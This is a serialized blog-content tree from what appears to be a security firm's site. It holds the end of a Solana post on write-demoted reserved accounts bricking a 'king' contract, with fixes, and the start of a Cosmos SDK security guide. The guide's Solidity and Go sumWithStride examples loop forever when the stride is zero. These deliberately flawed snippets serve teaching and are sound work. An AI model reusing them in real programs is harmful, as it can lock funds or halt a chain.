Signer\u003C'info>,\n}\n",[76334],{"type":25,"tag":115,"props":76335,"children":76336},{"__ignoreMap":7},[76337,76352,76379,76394,76433,76440,76487,76518,76525,76540,76571,76578,76593,76624],{"type":25,"tag":201,"props":76338,"children":76339},{"class":203,"line":204},[76340,76344,76348],{"type":25,"tag":201,"props":76341,"children":76342},{"style":220},[76343],{"type":31,"value":24333},{"type":25,"tag":201,"props":76345,"children":76346},{"style":4925},[76347],{"type":31,"value":24338},{"type":25,"tag":201,"props":76349,"children":76350},{"style":220},[76351],{"type":31,"value":21755},{"type":25,"tag":201,"props":76353,"children":76354},{"class":203,"line":226},[76355,76359,76363,76367,76371,76375],{"type":25,"tag":201,"props":76356,"children":76357},{"style":208},[76358],{"type":31,"value":15192},{"type":25,"tag":201,"props":76360,"children":76361},{"style":208},[76362],{"type":31,"value":22646},{"type":25,"tag":201,"props":76364,"children":76365},{"style":4925},[76366],{"type":31,"value":72392},{"type":25,"tag":201,"props":76368,"children":76369},{"style":220},[76370],{"type":31,"value":24418},{"type":25,"tag":201,"props":76372,"children":76373},{"style":4925},[76374],{"type":31,"value":24423},{"type":25,"tag":201,"props":76376,"children":76377},{"style":220},[76378],{"type":31,"value":8790},{"type":25,"tag":201,"props":76380,"children":76381},{"class":203,"line":278},[76382,76386,76390],{"type":25,"tag":201,"props":76383,"children":76384},{"style":220},[76385],{"type":31,"value":24623},{"type":25,"tag":201,"props":76387,"children":76388},{"style":208},[76389],{"type":31,"value":5228},{"type":25,"tag":201,"props":76391,"children":76392},{"style":220},[76393],{"type":31,"value":21755},{"type":25,"tag":201,"props":76395,"children":76396},{"class":203,"line":311},[76397,76401,76405,76409,76413,76417,76421,76425,76429],{"type":25,"tag":201,"props":76398,"children":76399},{"style":208},[76400],{"type":31,"value":22338},{"type":25,"tag":201,"props":76402,"children":76403},{"style":246},[76404],{"type":31,"value":72431},{"type":25,"tag":201,"props":76406,"children":76407},{"style":261},[76408],{"type":31,"value":5997},{"type":25,"tag":201,"props":76410,"children":76411},{"style":4925},[76412],{"type":31,"value":24588},{"type":25,"tag":201,"props":76414,"children":76415},{"style":220},[76416],{"type":31,"value":24418},{"type":25,"tag":201,"props":76418,"children":76419},{"style":4925},[76420],{"type":31,"value":24423},{"type":25,"tag":201,"props":76422,"children":76423},{"style":220},[76424],{"type":31,"value":919},{"type":25,"tag":201,"props":76426,"children":76427},{"style":4925},[76428],{"type":31,"value":72456},{"type":25,"tag":201,"props":76430,"children":76431},{"style":220},[76432],{"type":31,"value":7646},{"type":25,"tag":201,"props":76434,"children":76435},{"class":203,"line":330},[76436],{"type":25,"tag":201,"props":76437,"children":76438},{"emptyLinePlaceholder":17},[76439],{"type":31,"value":496},{"type":25,"tag":201,"props":76441,"children":76442},{"class":203,"line":397},[76443,76447,76451,76455,76459,76463,76467,76471,76475,76479,76483],{"type":25,"tag":201,"props":76444,"children":76445},{"style":220},[76446],{"type":31,"value":24623},{"type":25,"tag":201,"props":76448,"children":76449},{"style":208},[76450],{"type":31,"value":5228},{"type":25,"tag":201,"props":76452,"children":76453},{"style":220},[76454],{"type":31,"value":72491},{"type":25,"tag":201,"props":76456,"children":76457},{"style":261},[76458],{"type":31,"value":1383},{"type":25,"tag":201,"props":76460,"children":76461},{"style":220},[76462],{"type":31,"value":72500},{"type":25,"tag":201,"props":76464,"children":76465},{"style":261},[76466],{"type":31,"value":80},{"type":25,"tag":201,"props":76468,"children":76469},{"style":220},[76470],{"type":31,"value":72509},{"type":25,"tag":201,"props":76472,"children":76473},{"style":261},[76474],{"type":31,"value":10083},{"type":25,"tag":201,"props":76476,"children":76477},{"style":220},[76478],{"type":31,"value":72431},{"type":25,"tag":201,"props":76480,"children":76481},{"style":261},[76482],{"type":31,"value":80},{"type":25,"tag":201,"props":76484,"children":76485},{"style":220},[76486],{"type":31,"value":72526},{"type":25,"tag":201,"props":76488,"children":76489},{"class":203,"line":437},[76490,76494,76498,76502,76506,76510,76514],{"type":25,"tag":201,"props":76491,"children":76492},{"style":208},[76493],{"type":31,"value":22338},{"type":25,"tag":201,"props":76495,"children":76496},{"style":246},[76497],{"type":31,"value":72500},{"type":25,"tag":201,"props":76499,"children":76500},{"style":261},[76501],{"type":31,"value":5997},{"type":25,"tag":201,"props":76503,"children":76504},{"style":4925},[76505],{"type":31,"value":26883},{"type":25,"tag":201,"props":76507,"children":76508},{"style":220},[76509],{"type":31,"value":24418},{"type":25,"tag":201,"props":76511,"children":76512},{"style":4925},[76513],{"type":31,"value":24423},{"type":25,"tag":201,"props":76515,"children":76516},{"style":220},[76517],{"type":31,"value":7646},{"type":25,"tag":201,"props":76519,"children":76520},{"class":203,"line":464},[76521],{"type":25,"tag":201,"props":76522,"children":76523},{"emptyLinePlaceholder":17},[76524],{"type":31,"value":496},{"type":25,"tag":201,"props":76526,"children":76527},{"class":203,"line":490},[76528,76532,76536],{"type":25,"tag":201,"props":76529,"children":76530},{"style":220},[76531],{"type":31,"value":24623},{"type":25,"tag":201,"props":76533,"children":76534},{"style":208},[76535],{"type":31,"value":5228},{"type":25,"tag":201,"props":76537,"children":76538},{"style":220},[76539],{"type":31,"value":21755},{"type":25,"tag":201,"props":76541,"children":76542},{"class":203,"line":499},[76543,76547,76551,76555,76559,76563,76567],{"type":25,"tag":201,"props":76544,"children":76545},{"style":208},[76546],{"type":31,"value":22338},{"type":25,"tag":201,"props":76548,"children":76549},{"style":246},[76550],{"type":31,"value":72599},{"type":25,"tag":201,"props":76552,"children":76553},{"style":261},[76554],{"type":31,"value":5997},{"type":25,"tag":201,"props":76556,"children":76557},{"style":4925},[76558],{"type":31,"value":26883},{"type":25,"tag":201,"props":76560,"children":76561},{"style":220},[76562],{"type":31,"value":24418},{"type":25,"tag":201,"props":76564,"children":76565},{"style":4925},[76566],{"type":31,"value":24423},{"type":25,"tag":201,"props":76568,"children":76569},{"style":220},[76570],{"type":31,"value":7646},{"type":25,"tag":201,"props":76572,"children":76573},{"class":203,"line":522},[76574],{"type":25,"tag":201,"props":76575,"children":76576},{"emptyLinePlaceholder":17},[76577],{"type":31,"value":496},{"type":25,"tag":201,"props":76579,"children":76580},{"class":203,"line":531},[76581,76585,76589],{"type":25,"tag":201,"props":76582,"children":76583},{"style":220},[76584],{"type":31,"value":24623},{"type":25,"tag":201,"props":76586,"children":76587},{"style":208},[76588],{"type":31,"value":5228},{"type":25,"tag":201,"props":76590,"children":76591},{"style":220},[76592],{"type":31,"value":21755},{"type":25,"tag":201,"props":76594,"children":76595},{"class":203,"line":550},[76596,76600,76604,76608,76612,76616,76620],{"type":25,"tag":201,"props":76597,"children":76598},{"style":208},[76599],{"type":31,"value":22338},{"type":25,"tag":201,"props":76601,"children":76602},{"style":246},[76603],{"type":31,"value":43313},{"type":25,"tag":201,"props":76605,"children":76606},{"style":261},[76607],{"type":31,"value":5997},{"type":25,"tag":201,"props":76609,"children":76610},{"style":4925},[76611],{"type":31,"value":24652},{"type":25,"tag":201,"props":76613,"children":76614},{"style":220},[76615],{"type":31,"value":24418},{"type":25,"tag":201,"props":76617,"children":76618},{"style":4925},[76619],{"type":31,"value":24423},{"type":25,"tag":201,"props":76621,"children":76622},{"style":220},[76623],{"type":31,"value":7646},{"type":25,"tag":201,"props":76625,"children":76626},{"class":203,"line":563},[76627],{"type":25,"tag":201,"props":76628,"children":76629},{"style":220},[76630],{"type":31,"value":1187},{"type":25,"tag":34,"props":76632,"children":76633},{},[76634,76636,76642,76644,76650],{"type":31,"value":76635},"This works fine — until one day, ",{"type":25,"tag":115,"props":76637,"children":76639},{"className":76638},[],[76640],{"type":31,"value":76641},"old_king",{"type":31,"value":76643}," is silently demoted. Suddenly, the ",{"type":25,"tag":115,"props":76645,"children":76647},{"className":76646},[],[76648],{"type":31,"value":76649},"#[account(mut)]",{"type":31,"value":76651}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":25,"tag":20392,"props":76653,"children":76655},{"id":76654},"real-world-example-write-demotion-with-secp256r1_program",[76656,76658],{"type":31,"value":76657},"Real-World Example: Write-Demotion with ",{"type":25,"tag":115,"props":76659,"children":76661},{"className":76660},[],[76662],{"type":31,"value":76663},"secp256r1_program",{"type":25,"tag":34,"props":76665,"children":76666},{},[76667,76669,76674],{"type":31,"value":76668},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":25,"tag":115,"props":76670,"children":76672},{"className":76671},[],[76673],{"type":31,"value":76663},{"type":31,"value":76675},", a precompiled program gated behind a feature flag:",{"type":25,"tag":191,"props":76677,"children":76679},{"className":4487,"code":76678,"language":4486,"meta":7,"style":7},"ReservedAccount::new_pending(\n    secp256r1_program::id(),\n    feature_set::enable_secp256r1_precompile::id(),\n)\n",[76680],{"type":25,"tag":115,"props":76681,"children":76682},{"__ignoreMap":7},[76683,76704,76724,76753],{"type":25,"tag":201,"props":76684,"children":76685},{"class":203,"line":204},[76686,76691,76695,76700],{"type":25,"tag":201,"props":76687,"children":76688},{"style":4925},[76689],{"type":31,"value":76690},"ReservedAccount",{"type":25,"tag":201,"props":76692,"children":76693},{"style":261},[76694],{"type":31,"value":4988},{"type":25,"tag":201,"props":76696,"children":76697},{"style":214},[76698],{"type":31,"value":76699},"new_pending",{"type":25,"tag":201,"props":76701,"children":76702},{"style":220},[76703],{"type":31,"value":4970},{"type":25,"tag":201,"props":76705,"children":76706},{"class":203,"line":226},[76707,76712,76716,76720],{"type":25,"tag":201,"props":76708,"children":76709},{"style":220},[76710],{"type":31,"value":76711},"    secp256r1_program",{"type":25,"tag":201,"props":76713,"children":76714},{"style":261},[76715],{"type":31,"value":4988},{"type":25,"tag":201,"props":76717,"children":76718},{"style":214},[76719],{"type":31,"value":3860},{"type":25,"tag":201,"props":76721,"children":76722},{"style":220},[76723],{"type":31,"value":1104},{"type":25,"tag":201,"props":76725,"children":76726},{"class":203,"line":278},[76727,76732,76736,76741,76745,76749],{"type":25,"tag":201,"props":76728,"children":76729},{"style":220},[76730],{"type":31,"value":76731},"    feature_set",{"type":25,"tag":201,"props":76733,"children":76734},{"style":261},[76735],{"type":31,"value":4988},{"type":25,"tag":201,"props":76737,"children":76738},{"style":220},[76739],{"type":31,"value":76740},"enable_secp256r1_precompile",{"type":25,"tag":201,"props":76742,"children":76743},{"style":261},[76744],{"type":31,"value":4988},{"type":25,"tag":201,"props":76746,"children":76747},{"style":214},[76748],{"type":31,"value":3860},{"type":25,"tag":201,"props":76750,"children":76751},{"style":220},[76752],{"type":31,"value":1104},{"type":25,"tag":201,"props":76754,"children":76755},{"class":203,"line":311},[76756],{"type":25,"tag":201,"props":76757,"children":76758},{"style":220},[76759],{"type":31,"value":4666},{"type":25,"tag":34,"props":76761,"children":76762},{},[76763,76765,76770,76772,76778],{"type":31,"value":76764},"Before the ",{"type":25,"tag":115,"props":76766,"children":76768},{"className":76767},[],[76769],{"type":31,"value":76740},{"type":31,"value":76771}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":25,"tag":115,"props":76773,"children":76775},{"className":76774},[],[76776],{"type":31,"value":76777},"secp256r1_program::id()",{"type":31,"value":76779}," as the king in a contract.",{"type":25,"tag":34,"props":76781,"children":76782},{},[76783,76785,76790],{"type":31,"value":76784},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":25,"tag":115,"props":76786,"children":76788},{"className":76787},[],[76789],{"type":31,"value":76777},{"type":31,"value":76791}," becomes the eternal king, and no one can dethrone it.",{"type":25,"tag":20392,"props":76793,"children":76795},{"id":76794},"fix-3-preventing-write-demotion-pitfalls",[76796],{"type":31,"value":76797},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":25,"tag":34,"props":76799,"children":76800},{},[76801,76803,76808],{"type":31,"value":76802},"Alright, let’s try to fix this ",{"type":25,"tag":65,"props":76804,"children":76805},{},[76806],{"type":31,"value":76807},"yet another",{"type":31,"value":76809}," edge case — and hopefully close the book on it.",{"type":25,"tag":20392,"props":76811,"children":76813},{"id":76812},"attempt-1-block-known-reserved-accounts",[76814],{"type":31,"value":76815},"Attempt 1: Block Known Reserved Accounts",{"type":25,"tag":34,"props":76817,"children":76818},{},[76819],{"type":31,"value":76820},"One naive solution is to reject any known reserved account, for example:",{"type":25,"tag":191,"props":76822,"children":76824},{"className":41431,"code":76823,"language":41433,"meta":7,"style":7},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[76825],{"type":25,"tag":115,"props":76826,"children":76827},{"__ignoreMap":7},[76828,76836],{"type":25,"tag":201,"props":76829,"children":76830},{"class":203,"line":204},[76831],{"type":25,"tag":201,"props":76832,"children":76833},{"style":220},[76834],{"type":31,"value":76835},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":25,"tag":201,"props":76837,"children":76838},{"class":203,"line":226},[76839],{"type":25,"tag":201,"props":76840,"children":76841},{"style":426},[76842],{"type":31,"value":76843},"+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":25,"tag":34,"props":76845,"children":76846},{},[76847,76849,76854],{"type":31,"value":76848},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":25,"tag":115,"props":76850,"children":76852},{"className":76851},[],[76853],{"type":31,"value":76690},{"type":31,"value":76855}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":25,"tag":20392,"props":76857,"children":76859},{"id":76858},"attempt-2-use-a-pda-vault",[76860],{"type":31,"value":76861},"Attempt 2: Use a PDA Vault",{"type":25,"tag":34,"props":76863,"children":76864},{},[76865,76867,76872],{"type":31,"value":76866},"A more future-proof fix is to avoid ",{"type":25,"tag":1252,"props":76868,"children":76869},{},[76870],{"type":31,"value":76871},"transferring lamports to arbitrary accounts",{"type":31,"value":76873}," altogether.",{"type":25,"tag":34,"props":76875,"children":76876},{},[76877],{"type":31,"value":76878},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":25,"tag":26,"props":76880,"children":76882},{"id":76881},"final-thoughts",[76883],{"type":31,"value":76884},"Final Thoughts",{"type":25,"tag":34,"props":76886,"children":76887},{},[76888],{"type":31,"value":76889},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":25,"tag":34,"props":76891,"children":76892},{},[76893],{"type":31,"value":76894},"We can safely transfer lamports to an account under the following conditions:",{"type":25,"tag":18183,"props":76896,"children":76897},{},[76898,76903,76908],{"type":25,"tag":6948,"props":76899,"children":76900},{},[76901],{"type":31,"value":76902},"It's not executable.",{"type":25,"tag":6948,"props":76904,"children":76905},{},[76906],{"type":31,"value":76907},"Its balance, after the transfer, remains rent-exempt.",{"type":25,"tag":6948,"props":76909,"children":76910},{},[76911],{"type":31,"value":76912},"It's not a reserved account.",{"type":25,"tag":34,"props":76914,"children":76915},{},[76916],{"type":31,"value":76917},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":25,"tag":4349,"props":76919,"children":76920},{},[76921],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":76923},[76924,76925,76926,76932],{"id":28,"depth":226,"text":32},{"id":72306,"depth":226,"text":72309},{"id":73413,"depth":226,"text":73416,"children":76927},[76928,76929,76931],{"id":73419,"depth":278,"text":73422},{"id":74106,"depth":278,"text":76930},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":75411,"depth":278,"text":75414},{"id":76881,"depth":226,"text":76884},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":76937,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":76938,"description":76939,"date":76940,"author":76941,"image":76942,"isFeatured":17,"onBlogPage":17,"tags":76944,"body":76947,"_type":4371,"_id":90832,"_source":4373,"_file":90833,"_stem":90834,"_extension":4376},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":76943,"width":15,"height":15},"/posts/cosmos-security/title.png",[76945,76946],"cosmos-sdk","security",{"type":22,"children":76948,"toc":90810},[76949,76953,76958,76963,76969,76974,76979,76984,77245,77734,77753,77758,77763,77768,77774,77779,77814,77824,78331,78351,78364,78370,78375,78380,78621,78626,78634,78646,79008,79013,79018,79054,79063,79489,79510,79516,79536,79557,79576,79608,79620,79632,80286,80314,80323,80763,80790,80810,80815,80836,80885,80894,82126,82154,82160,82165,82170,82190,82477,82511,82692,82697,82702,82746,82755,83947,84198,84211,84217,84251,84256,84319,84324,84344,84363,84375,84394,85086,85091,85096,85124,85133,86018,86045,86051,86071,86076,86089,86263,86276,86367,86372,86380,86390,86540,86545,86565,86573,86578,86976,86988,86993,87034,87045,87065,87373,87378,88303,88315,88323,88328,89321,89326,89338,89358,89377,90291,90348,90454,90466,90471,90476,90504,90513,90739,90765,90778,90792,90796,90801,90806],{"type":25,"tag":26,"props":76950,"children":76951},{"id":28},[76952],{"type":31,"value":32},{"type":25,"tag":34,"props":76954,"children":76955},{},[76956],{"type":31,"value":76957},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":25,"tag":34,"props":76959,"children":76960},{},[76961],{"type":31,"value":76962},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":25,"tag":26,"props":76964,"children":76966},{"id":76965},"its-loopin-time",[76967],{"type":31,"value":76968},"It's Loopin' Time",{"type":25,"tag":34,"props":76970,"children":76971},{},[76972],{"type":31,"value":76973},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":25,"tag":34,"props":76975,"children":76976},{},[76977],{"type":31,"value":76978},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":25,"tag":34,"props":76980,"children":76981},{},[76982],{"type":31,"value":76983},"Here is a simple example for reference:",{"type":25,"tag":191,"props":76985,"children":76987},{"code":76986,"language":5979,"meta":7,"className":5980,"style":7},"function sumWithStride(\n    uint64 start,\n    uint64 stride,\n    uint64[] memory arr\n) public returns (uint64) {\n    uint64 idx = start;\n    uint64 sum = 0;\n    uint64 end = arr.length;\n\n    while (idx \u003C end) {\n        sum += arr[idx];\n        idx += stride;\n    }\n    return sum;\n}\n",[76988],{"type":25,"tag":115,"props":76989,"children":76990},{"__ignoreMap":7},[76991,77007,77024,77040,77062,77091,77112,77136,77157,77164,77185,77202,77219,77226,77238],{"type":25,"tag":201,"props":76992,"children":76993},{"class":203,"line":204},[76994,76998,77003],{"type":25,"tag":201,"props":76995,"children":76996},{"style":208},[76997],{"type":31,"value":211},{"type":25,"tag":201,"props":76999,"children":77000},{"style":214},[77001],{"type":31,"value":77002}," sumWithStride",{"type":25,"tag":201,"props":77004,"children":77005},{"style":220},[77006],{"type":31,"value":4970},{"type":25,"tag":201,"props":77008,"children":77009},{"class":203,"line":226},[77010,77015,77020],{"type":25,"tag":201,"props":77011,"children":77012},{"style":4925},[77013],{"type":31,"value":77014},"    uint64",{"type":25,"tag":201,"props":77016,"children":77017},{"style":246},[77018],{"type":31,"value":77019}," start",{"type":25,"tag":201,"props":77021,"children":77022},{"style":220},[77023],{"type":31,"value":547},{"type":25,"tag":201,"props":77025,"children":77026},{"class":203,"line":278},[77027,77031,77036],{"type":25,"tag":201,"props":77028,"children":77029},{"style":4925},[77030],{"type":31,"value":77014},{"type":25,"tag":201,"props":77032,"children":77033},{"style":246},[77034],{"type":31,"value":77035}," stride",{"type":25,"tag":201,"props":77037,"children":77038},{"style":220},[77039],{"type":31,"value":547},{"type":25,"tag":201,"props":77041,"children":77042},{"class":203,"line":311},[77043,77047,77052,77057],{"type":25,"tag":201,"props":77044,"children":77045},{"style":4925},[77046],{"type":31,"value":77014},{"type":25,"tag":201,"props":77048,"children":77049},{"style":220},[77050],{"type":31,"value":77051},"[] ",{"type":25,"tag":201,"props":77053,"children":77054},{"style":208},[77055],{"type":31,"value":77056},"memory",{"type":25,"tag":201,"props":77058,"children":77059},{"style":246},[77060],{"type":31,"value":77061}," arr\n",{"type":25,"tag":201,"props":77063,"children":77064},{"class":203,"line":330},[77065,77069,77073,77078,77082,77087],{"type":25,"tag":201,"props":77066,"children":77067},{"style":220},[77068],{"type":31,"value":385},{"type":25,"tag":201,"props":77070,"children":77071},{"style":208},[77072],{"type":31,"value":62755},{"type":25,"tag":201,"props":77074,"children":77075},{"style":230},[77076],{"type":31,"value":77077}," returns",{"type":25,"tag":201,"props":77079,"children":77080},{"style":220},[77081],{"type":31,"value":238},{"type":25,"tag":201,"props":77083,"children":77084},{"style":4925},[77085],{"type":31,"value":77086},"uint64",{"type":25,"tag":201,"props":77088,"children":77089},{"style":220},[77090],{"type":31,"value":275},{"type":25,"tag":201,"props":77092,"children":77093},{"class":203,"line":397},[77094,77098,77103,77107],{"type":25,"tag":201,"props":77095,"children":77096},{"style":4925},[77097],{"type":31,"value":77014},{"type":25,"tag":201,"props":77099,"children":77100},{"style":220},[77101],{"type":31,"value":77102}," idx ",{"type":25,"tag":201,"props":77104,"children":77105},{"style":261},[77106],{"type":31,"value":1383},{"type":25,"tag":201,"props":77108,"children":77109},{"style":220},[77110],{"type":31,"value":77111}," start;\n",{"type":25,"tag":201,"props":77113,"children":77114},{"class":203,"line":437},[77115,77119,77124,77128,77132],{"type":25,"tag":201,"props":77116,"children":77117},{"style":4925},[77118],{"type":31,"value":77014},{"type":25,"tag":201,"props":77120,"children":77121},{"style":220},[77122],{"type":31,"value":77123}," sum ",{"type":25,"tag":201,"props":77125,"children":77126},{"style":261},[77127],{"type":31,"value":1383},{"type":25,"tag":201,"props":77129,"children":77130},{"style":426},[77131],{"type":31,"value":4554},{"type":25,"tag":201,"props":77133,"children":77134},{"style":220},[77135],{"type":31,"value":461},{"type":25,"tag":201,"props":77137,"children":77138},{"class":203,"line":464},[77139,77143,77148,77152],{"type":25,"tag":201,"props":77140,"children":77141},{"style":4925},[77142],{"type":31,"value":77014},{"type":25,"tag":201,"props":77144,"children":77145},{"style":220},[77146],{"type":31,"value":77147}," end ",{"type":25,"tag":201,"props":77149,"children":77150},{"style":261},[77151],{"type":31,"value":1383},{"type":25,"tag":201,"props":77153,"children":77154},{"style":220},[77155],{"type":31,"value":77156}," arr.length;\n",{"type":25,"tag":201,"props":77158,"children":77159},{"class":203,"line":490},[77160],{"type":25,"tag":201,"props":77161,"children":77162},{"emptyLinePlaceholder":17},[77163],{"type":31,"value":496},{"type":25,"tag":201,"props":77165,"children":77166},{"class":203,"line":499},[77167,77171,77176,77180],{"type":25,"tag":201,"props":77168,"children":77169},{"style":230},[77170],{"type":31,"value":65454},{"type":25,"tag":201,"props":77172,"children":77173},{"style":220},[77174],{"type":31,"value":77175}," (idx ",{"type":25,"tag":201,"props":77177,"children":77178},{"style":261},[77179],{"type":31,"value":1298},{"type":25,"tag":201,"props":77181,"children":77182},{"style":220},[77183],{"type":31,"value":77184}," end) {\n",{"type":25,"tag":201,"props":77186,"children":77187},{"class":203,"line":522},[77188,77193,77197],{"type":25,"tag":201,"props":77189,"children":77190},{"style":220},[77191],{"type":31,"value":77192},"        sum ",{"type":25,"tag":201,"props":77194,"children":77195},{"style":261},[77196],{"type":31,"value":69519},{"type":25,"tag":201,"props":77198,"children":77199},{"style":220},[77200],{"type":31,"value":77201}," arr[idx];\n",{"type":25,"tag":201,"props":77203,"children":77204},{"class":203,"line":531},[77205,77210,77214],{"type":25,"tag":201,"props":77206,"children":77207},{"style":220},[77208],{"type":31,"value":77209},"        idx ",{"type":25,"tag":201,"props":77211,"children":77212},{"style":261},[77213],{"type":31,"value":69519},{"type":25,"tag":201,"props":77215,"children":77216},{"style":220},[77217],{"type":31,"value":77218}," stride;\n",{"type":25,"tag":201,"props":77220,"children":77221},{"class":203,"line":550},[77222],{"type":25,"tag":201,"props":77223,"children":77224},{"style":220},[77225],{"type":31,"value":4861},{"type":25,"tag":201,"props":77227,"children":77228},{"class":203,"line":563},[77229,77233],{"type":25,"tag":201,"props":77230,"children":77231},{"style":230},[77232],{"type":31,"value":18486},{"type":25,"tag":201,"props":77234,"children":77235},{"style":220},[77236],{"type":31,"value":77237}," sum;\n",{"type":25,"tag":201,"props":77239,"children":77240},{"class":203,"line":572},[77241],{"type":25,"tag":201,"props":77242,"children":77243},{"style":220},[77244],{"type":31,"value":1187},{"type":25,"tag":191,"props":77246,"children":77250},{"code":77247,"language":77248,"meta":7,"className":77249,"style":7},"type MsgSumWithStrideParams struct {\n    Start uint64\n    Stride uint64\n    Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n    Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n    goCtx context.Context,\n    msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n    sum := uint64(0)\n    end := uint64(len(msg.Arr))\n    for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n        sum += msg.Arr[idx]\n    }\n    return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[77251],{"type":25,"tag":115,"props":77252,"children":77253},{"__ignoreMap":7},[77254,77274,77287,77299,77317,77324,77331,77351,77363,77370,77377,77412,77438,77459,77488,77518,77563,77640,77676,77683,77727],{"type":25,"tag":201,"props":77255,"children":77256},{"class":203,"line":204},[77257,77261,77266,77270],{"type":25,"tag":201,"props":77258,"children":77259},{"style":208},[77260],{"type":31,"value":1684},{"type":25,"tag":201,"props":77262,"children":77263},{"style":4925},[77264],{"type":31,"value":77265}," MsgSumWithStrideParams",{"type":25,"tag":201,"props":77267,"children":77268},{"style":208},[77269],{"type":31,"value":22646},{"type":25,"tag":201,"props":77271,"children":77272},{"style":220},[77273],{"type":31,"value":327},{"type":25,"tag":201,"props":77275,"children":77276},{"class":203,"line":226},[77277,77282],{"type":25,"tag":201,"props":77278,"children":77279},{"style":246},[77280],{"type":31,"value":77281},"    Start",{"type":25,"tag":201,"props":77283,"children":77284},{"style":4925},[77285],{"type":31,"value":77286}," uint64\n",{"type":25,"tag":201,"props":77288,"children":77289},{"class":203,"line":278},[77290,77295],{"type":25,"tag":201,"props":77291,"children":77292},{"style":246},[77293],{"type":31,"value":77294},"    Stride",{"type":25,"tag":201,"props":77296,"children":77297},{"style":4925},[77298],{"type":31,"value":77286},{"type":25,"tag":201,"props":77300,"children":77301},{"class":203,"line":311},[77302,77307,77312],{"type":25,"tag":201,"props":77303,"children":77304},{"style":246},[77305],{"type":31,"value":77306},"    Arr",{"type":25,"tag":201,"props":77308,"children":77309},{"style":220},[77310],{"type":31,"value":77311}," []",{"type":25,"tag":201,"props":77313,"children":77314},{"style":4925},[77315],{"type":31,"value":77316},"uint64\n",{"type":25,"tag":201,"props":77318,"children":77319},{"class":203,"line":330},[77320],{"type":25,"tag":201,"props":77321,"children":77322},{"style":220},[77323],{"type":31,"value":1187},{"type":25,"tag":201,"props":77325,"children":77326},{"class":203,"line":397},[77327],{"type":25,"tag":201,"props":77328,"children":77329},{"emptyLinePlaceholder":17},[77330],{"type":31,"value":496},{"type":25,"tag":201,"props":77332,"children":77333},{"class":203,"line":437},[77334,77338,77343,77347],{"type":25,"tag":201,"props":77335,"children":77336},{"style":208},[77337],{"type":31,"value":1684},{"type":25,"tag":201,"props":77339,"children":77340},{"style":4925},[77341],{"type":31,"value":77342}," MsgSumWithStrideResponse",{"type":25,"tag":201,"props":77344,"children":77345},{"style":208},[77346],{"type":31,"value":22646},{"type":25,"tag":201,"props":77348,"children":77349},{"style":220},[77350],{"type":31,"value":327},{"type":25,"tag":201,"props":77352,"children":77353},{"class":203,"line":464},[77354,77359],{"type":25,"tag":201,"props":77355,"children":77356},{"style":246},[77357],{"type":31,"value":77358},"    Sum",{"type":25,"tag":201,"props":77360,"children":77361},{"style":4925},[77362],{"type":31,"value":77286},{"type":25,"tag":201,"props":77364,"children":77365},{"class":203,"line":490},[77366],{"type":25,"tag":201,"props":77367,"children":77368},{"style":220},[77369],{"type":31,"value":1187},{"type":25,"tag":201,"props":77371,"children":77372},{"class":203,"line":499},[77373],{"type":25,"tag":201,"props":77374,"children":77375},{"emptyLinePlaceholder":17},[77376],{"type":31,"value":496},{"type":25,"tag":201,"props":77378,"children":77379},{"class":203,"line":522},[77380,77385,77389,77394,77399,77403,77408],{"type":25,"tag":201,"props":77381,"children":77382},{"style":208},[77383],{"type":31,"value":77384},"func",{"type":25,"tag":201,"props":77386,"children":77387},{"style":220},[77388],{"type":31,"value":238},{"type":25,"tag":201,"props":77390,"children":77391},{"style":246},[77392],{"type":31,"value":77393},"ms 